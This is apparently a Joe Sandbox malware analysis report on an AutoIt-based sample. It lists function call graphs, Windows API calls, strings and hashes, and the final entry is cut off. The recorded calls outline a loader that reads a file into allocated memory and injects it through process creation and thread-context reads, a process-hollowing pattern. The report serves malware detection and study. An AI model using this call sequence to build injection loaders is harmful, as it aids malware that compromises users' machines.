                                                                                      control_flow_graph 1025 1036fc0-103706e call 10349e0 1028 1037075-103709b call 1037ed0 CreateFileW 1025->1028 1031 10370a2-10370b2 1028->1031 1032 103709d 1028->1032 1039 10370b4 1031->1039 1040 10370b9-10370d3 VirtualAlloc 1031->1040 1033 10371ed-10371f1 1032->1033 1034 1037233-1037236 1033->1034 1035 10371f3-10371f7 1033->1035 1041 1037239-1037240 1034->1041 1037 1037203-1037207 1035->1037 1038 10371f9-10371fc 1035->1038 1042 1037217-103721b 1037->1042 1043 1037209-1037213 1037->1043 1038->1037 1039->1033 1044 10370d5 1040->1044 1045 10370da-10370f1 ReadFile 1040->1045 1046 1037242-103724d 1041->1046 1047 1037295-10372aa 1041->1047 1050 103722b 1042->1050 1051 103721d-1037227 1042->1051 1043->1042 1044->1033 1052 10370f3 1045->1052 1053 10370f8-1037138 VirtualAlloc 1045->1053 1054 1037251-103725d 1046->1054 1055 103724f 1046->1055 1048 10372ba-10372c2 1047->1048 1049 10372ac-10372b7 VirtualFree 1047->1049 1049->1048 1050->1034 1051->1050 1052->1033 1058 103713a 1053->1058 1059 103713f-103715a call 1038120 1053->1059 1056 1037271-103727d 1054->1056 1057 103725f-103726f 1054->1057 1055->1047 1062 103728a-1037290 1056->1062 1063 103727f-1037288 1056->1063 1061 1037293 1057->1061 1058->1033 1065 1037165-103716f 1059->1065 1061->1041 1062->1061 1063->1061 1066 10371a2-10371b6 call 1037f30 1065->1066 1067 1037171-10371a0 call 1038120 1065->1067 1073 10371ba-10371be 1066->1073 1074 10371b8 1066->1074 1067->1065 1075 10371c0-10371c4 CloseHandle 1073->1075 1076 10371ca-10371ce 1073->1076 1074->1033 1075->1076 1077 10371d0-10371db VirtualFree 1076->1077 1078 10371de-10371e7 1076->1078 1077->1078 1078->1028 1078->1033
                                                                                      APIs
                                                                                      • CreateFileW.KERNELBASE(00000000,?,80000000,00000007,00000000,00000003,00000080,00000000,?,00000000), ref: 01037091
                                                                                      • VirtualFree.KERNELBASE(00000000,00000000,00008000,00000000,00000000,00000000,00000000,?,?,00000000), ref: 010372B7
                                                                                      Memory Dump Source
                                                                                      • Source File: 00000000.00000002.1348904164.0000000001034000.00000040.00000020.00020000.00000000.sdmp, Offset: 01034000, based on PE: false
                                                                                      Joe Sandbox IDA Plugin
                                                                                      • Snapshot File: hcaresult_0_2_1034000_lgkWBwqY15.jbxd
                                                                                      Similarity
                                                                                      • API ID: CreateFileFreeVirtual
                                                                                      • String ID:
                                                                                      • API String ID: 204039940-0
                                                                                      • Opcode ID: 014c9b5c74d83c0a726ef6016946af978a068631e2f3efa1e9065a42f07dad7c
                                                                                      • Instruction ID: 9ae1f31f33494ef4818ceceb4d418b408a9190cdaddde982f1de47b32dfdd482
                                                                                      • Opcode Fuzzy Hash: 014c9b5c74d83c0a726ef6016946af978a068631e2f3efa1e9065a42f07dad7c
                                                                                      • Instruction Fuzzy Hash: 22A10B75E00209EBDB14CFE8C894BEEBBBABF88304F108599E551BB281D7759A41CF54
                                                                                      Function 005A49FB Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 73registryCOMMON
                                                                                      Download Yara Rule

                                                                                      Control-flow Graph

                                                                                      • Executed
                                                                                      • Not Executed
                                                                                      control_flow_graph 1134 5a49fb-5a4a25 call 5abcce RegOpenKeyExW 1137 5a4a2b-5a4a2f 1134->1137 1138 6141cc-6141e3 RegQueryValueExW 1134->1138 1139 6141e5-614222 call 5bf4ea call 5a47b7 RegQueryValueExW 1138->1139 1140 614246-61424f RegCloseKey 1138->1140 1145 614224-61423b call 5a6a63 1139->1145 1146 61423d-614245 call 5a47e2 1139->1146 1145->1146 1146->1140
                                                                                      APIs
                                                                                      • RegOpenKeyExW.KERNELBASE(80000001,Software\AutoIt v3\AutoIt,00000000,00000001,?), ref: 005A4A1D
                                                                                      • RegQueryValueExW.ADVAPI32(?,Include,00000000,00000000,00000000,?), ref: 006141DB
                                                                                      • RegQueryValueExW.ADVAPI32(?,Include,00000000,00000000,?,?,00000000), ref: 0061421A
                                                                                      • RegCloseKey.ADVAPI32(?), ref: 00614249
                                                                                      Strings
                                                                                      Memory Dump Source
                                                                                      • Source File: 00000000.00000002.1348424061.00000000005A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 005A0000, based on PE: true
                                                                                      • Associated: 00000000.00000002.1348406527.00000000005A0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348476778.000000000062D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348476778.000000000064E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348524558.000000000065A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348543254.0000000000664000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      Joe Sandbox IDA Plugin
                                                                                      • Snapshot File: hcaresult_0_2_5a0000_lgkWBwqY15.jbxd
                                                                                      Similarity
                                                                                      • API ID: QueryValue$CloseOpen
                                                                                      • String ID: Include$Software\AutoIt v3\AutoIt
                                                                                      • API String ID: 1586453840-614718249
                                                                                      • Opcode ID: 745a3674376006e25c6fad64a67dc8f4d2f8e60dd98ffb5ff9060dd8d041649f
                                                                                      • Instruction ID: 875762f2154e8c83cb8673779436b2ebbb67e07dc1c2ce49eefcd9293294770b
                                                                                      • Opcode Fuzzy Hash: 745a3674376006e25c6fad64a67dc8f4d2f8e60dd98ffb5ff9060dd8d041649f
                                                                                      • Instruction Fuzzy Hash: E5116D71600109BFEB14ABA4DD8ADFF7BADEF45344F041064B506D31A1EA70AE429B50
                                                                                      Function 005A36B8 Relevance: 10.5, APIs: 4, Strings: 2, Instructions: 44COMMON
                                                                                      Download Yara Rule

                                                                                      Control-flow Graph

                                                                                      • Executed
                                                                                      • Not Executed
                                                                                      control_flow_graph 1161 5a36b8-5a3728 CreateWindowExW * 2 ShowWindow * 2
                                                                                      APIs
                                                                                      • CreateWindowExW.USER32(00000000,AutoIt v3,AutoIt v3,00CF0000,80000000,80000000,0000012C,00000064,00000000,00000000,00000000,00000001), ref: 005A36E6
                                                                                      • CreateWindowExW.USER32(00000000,edit,00000000,50B008C4,00000000,00000000,00000000,00000000,00000000,00000001,00000000), ref: 005A3707
                                                                                      • ShowWindow.USER32(00000000,?,?,?,?,005A3AA3,?), ref: 005A371B
                                                                                      • ShowWindow.USER32(00000000,?,?,?,?,005A3AA3,?), ref: 005A3724
                                                                                      Strings
                                                                                      Memory Dump Source
                                                                                      • Source File: 00000000.00000002.1348424061.00000000005A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 005A0000, based on PE: true
                                                                                      • Associated: 00000000.00000002.1348406527.00000000005A0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348476778.000000000062D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348476778.000000000064E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348524558.000000000065A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348543254.0000000000664000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      Joe Sandbox IDA Plugin
                                                                                      • Snapshot File: hcaresult_0_2_5a0000_lgkWBwqY15.jbxd
                                                                                      Similarity
                                                                                      • API ID: Window$CreateShow
                                                                                      • String ID: AutoIt v3$edit
                                                                                      • API String ID: 1584632944-3779509399
                                                                                      • Opcode ID: f81af43360dd0dd2b329b039b7551c9e07778a9264a4745c886dfbb010557357
                                                                                      • Instruction ID: 50fbc19c763a0476655fe3938ad3e7c505537358dc07b5b3cb2cb7251b6f6e13
                                                                                      • Opcode Fuzzy Hash: f81af43360dd0dd2b329b039b7551c9e07778a9264a4745c886dfbb010557357
                                                                                      • Instruction Fuzzy Hash: D8F0DA719402D47AEB315B57AC08E672E7FD7C7F60F05101AFA04AA1A0C9A60895EAB0
                                                                                      Function 01036D90 Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 142fileCOMMON
                                                                                      Download Yara Rule

                                                                                      Control-flow Graph

                                                                                      • Executed
                                                                                      • Not Executed
                                                                                      control_flow_graph 1266 1036d90-1036eb5 call 10349e0 call 1036c80 CreateFileW 1273 1036eb7 1266->1273 1274 1036ebc-1036ecc 1266->1274 1275 1036f6c-1036f71 1273->1275 1277 1036ed3-1036eed VirtualAlloc 1274->1277 1278 1036ece 1274->1278 1279 1036ef1-1036f08 ReadFile 1277->1279 1280 1036eef 1277->1280 1278->1275 1281 1036f0a 1279->1281 1282 1036f0c-1036f46 call 1036cc0 call 1035c80 1279->1282 1280->1275 1281->1275 1287 1036f62-1036f6a ExitProcess 1282->1287 1288 1036f48-1036f5d call 1036d10 1282->1288 1287->1275 1288->1287
                                                                                      APIs
                                                                                        • Part of subcall function 01036C80: Sleep.KERNELBASE(000001F4), ref: 01036C91
                                                                                      • CreateFileW.KERNELBASE(?,80000000,00000007,00000000,00000003,00000080,00000000), ref: 01036EAB
                                                                                      Strings
                                                                                      Memory Dump Source
                                                                                      • Source File: 00000000.00000002.1348904164.0000000001034000.00000040.00000020.00020000.00000000.sdmp, Offset: 01034000, based on PE: false
                                                                                      Joe Sandbox IDA Plugin
                                                                                      • Snapshot File: hcaresult_0_2_1034000_lgkWBwqY15.jbxd
                                                                                      Similarity
                                                                                      • API ID: CreateFileSleep
                                                                                      • String ID: O2088AS4UI
                                                                                      • API String ID: 2694422964-756100443
                                                                                      • Opcode ID: 6e09da52659c10c72cc9ce5aefa85d4f075de46c0a0643bfc382f493f8131eb5
                                                                                      • Instruction ID: 3c601a865b17091903c65eda869c0dab048e49c751efb0a26945177755a576ea
                                                                                      • Opcode Fuzzy Hash: 6e09da52659c10c72cc9ce5aefa85d4f075de46c0a0643bfc382f493f8131eb5
                                                                                      • Instruction Fuzzy Hash: 94518131D14209EBEF11DBA4D814BEEBB79EF48300F004199E249BB2C1D77A1B45CBA5
                                                                                      Function 005A4A30 Relevance: 8.9, APIs: 2, Strings: 3, Instructions: 138COMMON
                                                                                      Download Yara Rule

                                                                                      Control-flow Graph

                                                                                      APIs
                                                                                        • Part of subcall function 005A5374: GetModuleFileNameW.KERNEL32(00000000,?,00007FFF,00661148,?,005A61FF,?,00000000,00000001,00000000), ref: 005A5392
                                                                                        • Part of subcall function 005A49FB: RegOpenKeyExW.KERNELBASE(80000001,Software\AutoIt v3\AutoIt,00000000,00000001,?), ref: 005A4A1D
                                                                                      • _wcscat.LIBCMT ref: 00612D80
                                                                                      • _wcscat.LIBCMT ref: 00612DB5
                                                                                      Strings
                                                                                      Memory Dump Source
                                                                                      • Source File: 00000000.00000002.1348424061.00000000005A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 005A0000, based on PE: true
                                                                                      • Associated: 00000000.00000002.1348406527.00000000005A0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348476778.000000000062D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348476778.000000000064E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348524558.000000000065A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348543254.0000000000664000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      Joe Sandbox IDA Plugin
                                                                                      • Snapshot File: hcaresult_0_2_5a0000_lgkWBwqY15.jbxd
                                                                                      Similarity
                                                                                      • API ID: _wcscat$FileModuleNameOpen
                                                                                      • String ID: 8!f$\$\Include\
                                                                                      • API String ID: 3592542968-3344102553
                                                                                      • Opcode ID: b80a7a691b993c35f8863d02ee151204daa582585f674c0925e377dcaea918be
                                                                                      • Instruction ID: cf7e01446cf12427c6cd449cbe2f1751e9849cc27c97e38e404baffcf2f03390
                                                                                      • Opcode Fuzzy Hash: b80a7a691b993c35f8863d02ee151204daa582585f674c0925e377dcaea918be
                                                                                      • Instruction Fuzzy Hash: AB5172B54087429FC704EF55E8A589EFBFABF9B300B44552EF744932A0EBB09948CB51
                                                                                      Function 005A51AF Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 88windowCOMMON
                                                                                      Download Yara Rule
                                                                                      APIs
                                                                                      • _memset.LIBCMT ref: 005A522F
                                                                                      • _wcscpy.LIBCMT ref: 005A5283
                                                                                      • Shell_NotifyIconW.SHELL32(00000001,?), ref: 005A5293
                                                                                      • LoadStringW.USER32(00000065,?,0000007F,00000104), ref: 00613CB0
                                                                                      Strings
                                                                                      Memory Dump Source
                                                                                      • Source File: 00000000.00000002.1348424061.00000000005A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 005A0000, based on PE: true
                                                                                      • Associated: 00000000.00000002.1348406527.00000000005A0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348476778.000000000062D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348476778.000000000064E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348524558.000000000065A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348543254.0000000000664000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      Joe Sandbox IDA Plugin
                                                                                      • Snapshot File: hcaresult_0_2_5a0000_lgkWBwqY15.jbxd
                                                                                      Similarity
                                                                                      • API ID: IconLoadNotifyShell_String_memset_wcscpy
                                                                                      • String ID: Line:
                                                                                      • API String ID: 1053898822-1585850449
                                                                                      • Opcode ID: f27a008182865206ff82820a0f768c2f9df4004ebe882ef60acbd5d0dd9103d0
                                                                                      • Instruction ID: 1e5ad19962c6c1a6865199720de939d3d565ba7a22dc676ae27a5ae8c0ecb9c3
                                                                                      • Opcode Fuzzy Hash: f27a008182865206ff82820a0f768c2f9df4004ebe882ef60acbd5d0dd9103d0
                                                                                      • Instruction Fuzzy Hash: C131B171008742AFD721EB60DC4AFEE7FD8BF86310F04491EF58596191EBB0A649CB96
                                                                                      Function 005A4139 Relevance: 7.3, APIs: 2, Strings: 2, Instructions: 258COMMON
                                                                                      Download Yara Rule
                                                                                      APIs
                                                                                        • Part of subcall function 005A41A9: LoadLibraryExW.KERNEL32(00000001,00000000,00000002,?,?,?,?,005A39FE,?,00000001), ref: 005A41DB
                                                                                      • _free.LIBCMT ref: 006136B7
                                                                                      • _free.LIBCMT ref: 006136FE
                                                                                        • Part of subcall function 005AC833: __wsplitpath.LIBCMT ref: 005AC93E
                                                                                        • Part of subcall function 005AC833: _wcscpy.LIBCMT ref: 005AC953
                                                                                        • Part of subcall function 005AC833: _wcscat.LIBCMT ref: 005AC968
                                                                                        • Part of subcall function 005AC833: SetCurrentDirectoryW.KERNEL32(?,?,?,?,?,?,00000001,?,?,00000000), ref: 005AC978
                                                                                      Strings
                                                                                      Memory Dump Source
                                                                                      • Source File: 00000000.00000002.1348424061.00000000005A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 005A0000, based on PE: true
                                                                                      • Associated: 00000000.00000002.1348406527.00000000005A0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348476778.000000000062D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348476778.000000000064E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348524558.000000000065A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348543254.0000000000664000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      Joe Sandbox IDA Plugin
                                                                                      • Snapshot File: hcaresult_0_2_5a0000_lgkWBwqY15.jbxd
                                                                                      Similarity
                                                                                      • API ID: _free$CurrentDirectoryLibraryLoad__wsplitpath_wcscat_wcscpy
                                                                                      • String ID: >>>AUTOIT SCRIPT<<<$Bad directive syntax error
                                                                                      • API String ID: 805182592-1757145024
                                                                                      • Opcode ID: d269b4faff13e318c30a9fabfbd43beaca8d468605db652ddfb94c3ecfa9b70c
                                                                                      • Instruction ID: bf077cc576cde5a4f1fbb34b81365e01ecb0be22ca18f403e687a2bb20a879cd
                                                                                      • Opcode Fuzzy Hash: d269b4faff13e318c30a9fabfbd43beaca8d468605db652ddfb94c3ecfa9b70c
                                                                                      • Instruction Fuzzy Hash: A4917E7191026AEFCF04EFA4CC959EEBBB5BF49310F144429F416AB391DB70AA45CB90
                                                                                      Function 005A40E5 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 64COMMON
                                                                                      Download Yara Rule
                                                                                      APIs
                                                                                      • _memset.LIBCMT ref: 00613725
                                                                                      • GetOpenFileNameW.COMDLG32 ref: 0061376F
                                                                                        • Part of subcall function 005A660F: GetFullPathNameW.KERNEL32(?,00007FFF,?,00000000,?,?,005A53B1,?,?,005A61FF,?,00000000,00000001,00000000), ref: 005A662F
                                                                                        • Part of subcall function 005A40A7: GetLongPathNameW.KERNELBASE(?,?,00007FFF), ref: 005A40C6
                                                                                      Strings
                                                                                      Memory Dump Source
                                                                                      • Source File: 00000000.00000002.1348424061.00000000005A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 005A0000, based on PE: true
                                                                                      • Associated: 00000000.00000002.1348406527.00000000005A0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348476778.000000000062D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348476778.000000000064E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348524558.000000000065A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348543254.0000000000664000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      Joe Sandbox IDA Plugin
                                                                                      • Snapshot File: hcaresult_0_2_5a0000_lgkWBwqY15.jbxd
                                                                                      Similarity
                                                                                      • API ID: Name$Path$FileFullLongOpen_memset
                                                                                      • String ID: X$t3e
                                                                                      • API String ID: 3777226403-2069527317
                                                                                      • Opcode ID: 7cf80d3d972b7b4a23893cd48b15f7726c4866bdc41e1484f8b4551b62f3cd85
                                                                                      • Instruction ID: 8afb9749d7edcd0b55e1a0f79219c96674cebc280eef0ed5e63edf2fe160c124
                                                                                      • Opcode Fuzzy Hash: 7cf80d3d972b7b4a23893cd48b15f7726c4866bdc41e1484f8b4551b62f3cd85
                                                                                      • Instruction Fuzzy Hash: D0219371A101989FCF01DFD4D849BEE7FF9AF8A704F044059E405AB281DBF45A898F65
                                                                                      Function 005C34AE Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 61COMMON
                                                                                      Download Yara Rule
                                                                                      APIs
                                                                                      • __getstream.LIBCMT ref: 005C34FE
                                                                                        • Part of subcall function 005C7C0E: __getptd_noexit.LIBCMT ref: 005C7C0E
                                                                                      • @_EH4_CallFilterFunc@8.LIBCMT ref: 005C3539
                                                                                      • __wopenfile.LIBCMT ref: 005C3549
                                                                                      Strings
                                                                                      Memory Dump Source
                                                                                      • Source File: 00000000.00000002.1348424061.00000000005A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 005A0000, based on PE: true
                                                                                      • Associated: 00000000.00000002.1348406527.00000000005A0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348476778.000000000062D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348476778.000000000064E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348524558.000000000065A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348543254.0000000000664000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      Joe Sandbox IDA Plugin
                                                                                      • Snapshot File: hcaresult_0_2_5a0000_lgkWBwqY15.jbxd
                                                                                      Similarity
                                                                                      • API ID: CallFilterFunc@8__getptd_noexit__getstream__wopenfile
                                                                                      • String ID: <G
                                                                                      • API String ID: 1820251861-2138716496
                                                                                      • Opcode ID: 599f4419a6c9c37eb5fa412d88cc40297f1664072ca29c8358cf57719c055b35
                                                                                      • Instruction ID: 0821959c76008ee52f44005b989112abd1e4ffed416826a49396f05ed0acd377
                                                                                      • Opcode Fuzzy Hash: 599f4419a6c9c37eb5fa412d88cc40297f1664072ca29c8358cf57719c055b35
                                                                                      • Instruction Fuzzy Hash: 8511C87090020B9EDB15BFF09C86F6E3EA4BF85350B15C92DE815D7181EA34CA019B61
                                                                                      Function 005BD298 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 58registryCOMMON
                                                                                      Download Yara Rule
                                                                                      APIs
                                                                                      • RegOpenKeyExW.KERNELBASE(80000001,Control Panel\Mouse,00000000,00000001,00000000,00000003,00000000,80000001,80000001,?,005BD28B,SwapMouseButtons,00000004,?), ref: 005BD2BC
                                                                                      • RegQueryValueExW.KERNELBASE(00000000,00000000,00000000,00000000,?,?,?,?,005BD28B,SwapMouseButtons,00000004,?,?,?,?,005BC865), ref: 005BD2DD
                                                                                      • RegCloseKey.KERNELBASE(00000000,?,?,005BD28B,SwapMouseButtons,00000004,?,?,?,?,005BC865), ref: 005BD2FF
                                                                                      Strings
                                                                                      Memory Dump Source
                                                                                      • Source File: 00000000.00000002.1348424061.00000000005A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 005A0000, based on PE: true
                                                                                      • Associated: 00000000.00000002.1348406527.00000000005A0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348476778.000000000062D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348476778.000000000064E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348524558.000000000065A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348543254.0000000000664000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      Joe Sandbox IDA Plugin
                                                                                      • Snapshot File: hcaresult_0_2_5a0000_lgkWBwqY15.jbxd
                                                                                      Similarity
                                                                                      • API ID: CloseOpenQueryValue
                                                                                      • String ID: Control Panel\Mouse
                                                                                      • API String ID: 3677997916-824357125
                                                                                      • Opcode ID: 523de73f757866b4b815182f4bfcb132056ccbf4fa252495d88006299eb0e44c
                                                                                      • Instruction ID: a80eb6b289725061e43915f48709cb585a9f9a8e977ea5e9d6fcf17fc8146ab4
                                                                                      • Opcode Fuzzy Hash: 523de73f757866b4b815182f4bfcb132056ccbf4fa252495d88006299eb0e44c
                                                                                      • Instruction Fuzzy Hash: 72113975611608BFDB208FA4CC84EEFBBF8FF44744F104869E805D7220E631AE419B64
                                                                                      Function 01035C80 Relevance: 6.7, APIs: 4, Instructions: 720processthreadCOMMON
                                                                                      Download Yara Rule
                                                                                      APIs
                                                                                      • CreateProcessW.KERNELBASE(?,00000000), ref: 0103643B
                                                                                      • Wow64GetThreadContext.KERNEL32(?,00010007), ref: 010364D1
                                                                                      • ReadProcessMemory.KERNELBASE(?,?,?,00000004,00000000), ref: 010364F3
                                                                                      Memory Dump Source
                                                                                      • Source File: 00000000.00000002.1348904164.0000000001034000.00000040.00000020.00020000.00000000.sdmp, Offset: 01034000, based on PE: false
                                                                                      Joe Sandbox IDA Plugin
                                                                                      • Snapshot File: hcaresult_0_2_1034000_lgkWBwqY15.jbxd
                                                                                      Similarity
                                                                                      • API ID: Process$ContextCreateMemoryReadThreadWow64
                                                                                      • String ID:
                                                                                      • API String ID: 2438371351-0
                                                                                      • Opcode ID: cc658a0e6010fd3573e63fe9dffc1f366d2843c5c23e1a249a06af30add5367b
                                                                                      • Instruction ID: 3c52af66c348984450ebc2049d215b1429ad73f741448d3cb51e61543b5940b0
                                                                                      • Opcode Fuzzy Hash: cc658a0e6010fd3573e63fe9dffc1f366d2843c5c23e1a249a06af30add5367b
                                                                                      • Instruction Fuzzy Hash: 69621B30A142189BEB24CFA4C850BDEB776FF98300F1091A9D14DEB390E7769E81CB59
                                                                                      Function 005EC396 Relevance: 6.2, APIs: 4, Instructions: 154COMMON
                                                                                      Download Yara Rule
                                                                                      APIs
                                                                                        • Part of subcall function 005A4517: _fseek.LIBCMT ref: 005A452F
                                                                                        • Part of subcall function 005EC56D: _wcscmp.LIBCMT ref: 005EC65D
                                                                                        • Part of subcall function 005EC56D: _wcscmp.LIBCMT ref: 005EC670
                                                                                      • _free.LIBCMT ref: 005EC4DD
                                                                                      • _free.LIBCMT ref: 005EC4E4
                                                                                      • _free.LIBCMT ref: 005EC54F
                                                                                        • Part of subcall function 005C1C9D: RtlFreeHeap.NTDLL(00000000,00000000,?,005C7A85), ref: 005C1CB1
                                                                                        • Part of subcall function 005C1C9D: GetLastError.KERNEL32(00000000,?,005C7A85), ref: 005C1CC3
                                                                                      • _free.LIBCMT ref: 005EC557
                                                                                      Memory Dump Source
                                                                                      • Source File: 00000000.00000002.1348424061.00000000005A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 005A0000, based on PE: true
                                                                                      • Associated: 00000000.00000002.1348406527.00000000005A0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348476778.000000000062D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348476778.000000000064E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348524558.000000000065A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348543254.0000000000664000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      Joe Sandbox IDA Plugin
                                                                                      • Snapshot File: hcaresult_0_2_5a0000_lgkWBwqY15.jbxd
                                                                                      Similarity
                                                                                      • API ID: _free$_wcscmp$ErrorFreeHeapLast_fseek
                                                                                      • String ID:
                                                                                      • API String ID: 1552873950-0
                                                                                      • Opcode ID: 0c4af10440446b1fe8382cae8d32a76f34f7d3e1743b3aef6b58de3d60be7303
                                                                                      • Instruction ID: 8821c381fa4ee40de293b0e85433c97fd881f047b285bece578fb1af76480953
                                                                                      • Opcode Fuzzy Hash: 0c4af10440446b1fe8382cae8d32a76f34f7d3e1743b3aef6b58de3d60be7303
                                                                                      • Instruction Fuzzy Hash: 5F516FB1904259AFDF149FA5DC85BADBBB9FF88300F10449EB259A3241DB715E808F58
                                                                                      Function 005BEB83 Relevance: 6.1, APIs: 4, Instructions: 65timewindowCOMMON
                                                                                      Download Yara Rule
                                                                                      APIs
                                                                                      • _memset.LIBCMT ref: 005BEBB2
                                                                                        • Part of subcall function 005A51AF: _memset.LIBCMT ref: 005A522F
                                                                                        • Part of subcall function 005A51AF: _wcscpy.LIBCMT ref: 005A5283
                                                                                        • Part of subcall function 005A51AF: Shell_NotifyIconW.SHELL32(00000001,?), ref: 005A5293
                                                                                      • KillTimer.USER32(?,00000001,?,?), ref: 005BEC07
                                                                                      • SetTimer.USER32(?,00000001,000002EE,00000000), ref: 005BEC16
                                                                                      • Shell_NotifyIconW.SHELL32(00000001,000003A8), ref: 00613C88
                                                                                      Memory Dump Source
                                                                                      • Source File: 00000000.00000002.1348424061.00000000005A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 005A0000, based on PE: true
                                                                                      • Associated: 00000000.00000002.1348406527.00000000005A0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348476778.000000000062D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348476778.000000000064E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348524558.000000000065A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348543254.0000000000664000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      Joe Sandbox IDA Plugin
                                                                                      • Snapshot File: hcaresult_0_2_5a0000_lgkWBwqY15.jbxd
                                                                                      Similarity
                                                                                      • API ID: IconNotifyShell_Timer_memset$Kill_wcscpy
                                                                                      • String ID:
                                                                                      • API String ID: 1378193009-0
                                                                                      • Opcode ID: 96bf3135082efac78be37da718110b6925f7a2fc8401abbae631da5d0652bebb
                                                                                      • Instruction ID: 956a653ce1171490fac49ae93de673dfb1f8b4c8210ecd1f2c212b4afb84027e
                                                                                      • Opcode Fuzzy Hash: 96bf3135082efac78be37da718110b6925f7a2fc8401abbae631da5d0652bebb
                                                                                      • Instruction Fuzzy Hash: C321D7705047949FE7339B288859BE7FFEDAB01308F08148DE68B66282C7742E85CB51
                                                                                      Function 005EC71A Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 15COMMON
                                                                                      Download Yara Rule
                                                                                      APIs
                                                                                      • GetTempPathW.KERNEL32(00000104,?), ref: 005EC72F
                                                                                      • GetTempFileNameW.KERNELBASE(?,aut,00000000,?), ref: 005EC746
                                                                                      Strings
                                                                                      Memory Dump Source
                                                                                      • Source File: 00000000.00000002.1348424061.00000000005A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 005A0000, based on PE: true
                                                                                      • Associated: 00000000.00000002.1348406527.00000000005A0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348476778.000000000062D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348476778.000000000064E000.00000002.00000001.01000000.00000003.sdmpDownload File
